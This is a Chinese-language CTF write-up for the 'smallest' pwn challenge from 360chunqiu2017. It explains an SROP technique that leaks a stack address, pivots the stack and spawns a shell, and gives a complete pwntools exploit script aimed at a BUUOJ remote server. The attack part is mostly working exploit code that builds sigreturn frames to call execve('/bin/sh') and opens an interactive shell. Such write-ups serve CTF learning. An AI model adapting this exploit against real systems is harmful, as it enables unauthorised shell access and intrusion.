360chunqiu2017_smallest

查看保护


程序只给了这一点点东西,read(0, rsp, 0x400)
这里的read肯定是有栈溢出的,从rsp这里读所以输入第一个数据的时候就会破坏结构发生错误
攻击思路:想办法去控制rax,因为控制了rax我们就可以调用一些系统调用,例如:sigretrun和write。rax被read所控制(字符的个数),所以我们可以通过sys_read来输入多少个数据就可以设置rax为多少。利用这个特性我们就可以实现栈迁移和getshell的操作。
1.这里笔者使用的是srop攻击,运用sigretrun机制来使得rdi,rsi等值可以被我们控制。
2.首先可以借助wirte来输出栈地址以便我们后续进行写入bin/sh和栈迁移的操作

p1 = p64(main_addr) * 3
r.send(p1)
r.send('\xb3')

r.send(‘\xb3’)是为了让rax = 1,并使得第二次程序从4000b3这里开始执行,因我们需要绕过xor rax, rax来执行write(1, rsp, 0x400)
3.拿到stack_addr。拿哪个地址?这里笔者在本地可以是0x8 - 0x10,打远程的时候打不通,然后笔者试了很多发现0x188 - 0x190可以
4.布置sigframe,再设置一次read,并劫持栈指针到stack_addr处实现栈迁移
5.想要执行sigreturn rax需要为15,所以我们发送15个数据让rax被设置为15
6.完成栈迁移之后我们就可以布置execve并输入bin/sh来getshell。
注意:这里笔者srop写得很简略,想要彻底了解srop可以去看看srop原理(看看其他师傅的博客),还可以使用其他攻击方式比如说利用修改权限的函数将一块地方改成可读写执行,然后放入shellcode并跳转执行shellcode。

from pwn import *
from time import *context(arch='amd64', os='linux', log_level='debug')file_name = './z1r0'li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')debug = 1
if debug:r = remote('node4.buuoj.cn', 26520)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r, 'b *0x4000C0')main_addr = 0x4000B0
mov_edx_400 = 0x4000B0p1 = p64(main_addr) * 3
r.send(p1)
r.send('\xb3')#stack_addr = u64(r.recv()[0x8:0x10])
stack_addr = u64(r.recv()[0x188:0x190])
li('[+] stack_addr = ' + hex(stack_addr))# sys_read
syscall = 0x4000BE
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rdx = 0x400
sigframe.rsi = stack_addr
sigframe.rsp = stack_addr
sigframe.rip = syscallp2 = p64(main_addr) + p64(0) + bytes(sigframe)
r.send(p2)# set rax = 15
p3 = p64(syscall) + b'a'*7
r.send(p3)
sleep(1)# sys_execve
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rsp = stack_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rdi = stack_addr + 0x200
sigframe.rip = syscall
p4 = (p64(main_addr) + p64(0) + bytes(sigframe)).ljust(0x200, b'a') + b"/bin/sh\x00"r.send(p4)
sleep(1)                                                                         # set rax = 15
r.send(p3)r.interactive()

360chunqiu2017_smallest相关推荐

  1. 360chunqiu2017_smallest —— 从例题理解SROP

    前言: 本篇博客为个人学习过程中的理解,仅记录个人理解,WIKI写的要比本篇详细得多.若与其存在矛盾,请以WIKI为准,也感谢读者指出问题. 正文: SROP(Sigreturn Oriented P ...

  2. BUUCTF-pwn(18)

    360chunqiu2017_smallest 整体较为简单: 先放个exo:较为简单: from pwn import * context(arch='amd64', os='linux', log ...

最新文章

  1. tensorflow gan网络流程图
  2. 礼物——最牛午饭证!
  3. MSTAR GAMMA
  4. 【实战】用机器学习来提升你的用户增长(二)
  5. iOS之深入解析内存管理散列表SideTables和弱引用表weak_table的底层原理
  6. iOS网络请求安全(JWT,RSA)
  7. JAVA Opencv在图片上添加中文
  8. Linux下source命令
  9. Silverlight toolkit 中ListPicker控件的用法【转】
  10. Mybatis知识点复习(第一次)
  11. 新浪微博搜索其实就是人肉索引擎!
  12. 计算机VFP基础知识,计算机二级《VFP》考试基础知识:VisualFoxPro基础
  13. VBA实现EXCEL随机本地随机刷题
  14. saveas中参数gcf的理解
  15. 免费国外视频素材网站
  16. SpringBoot之如何自定义一个starter模块
  17. Linux数据结构之radix-tree
  18. 用python画多来a梦-Python—turtle画图(哆啦A梦)
  19. Factor Graphs and GTSAM
  20. 空间几何-欧拉角、四元数、重投影误差

热门文章

  1. 在console面板打印有颜色的字体
  2. 人生的意义到底是什么
  3. idea2018.2.3破解方法
  4. 18- Adaboost梯度提升树 (集成算法) (算法)
  5. Channel Pruning for Accelerating Very Deep Neural Networks
  6. 11.①事件冒泡:取消冒泡event.cancelBubble=true或.sopImmediatePropagation()②事件绑定addEventListener(参数1,参2,参3)③事件传播
  7. 六轴机械臂控制器 控制卡 软件 机械臂
  8. 散列函数c语言实现,哈希表的C语言实现
  9. keil 增加 芯片包_为什么我们需要开源的系统芯片?
  10. linux使用curl命令返回301 moved permanently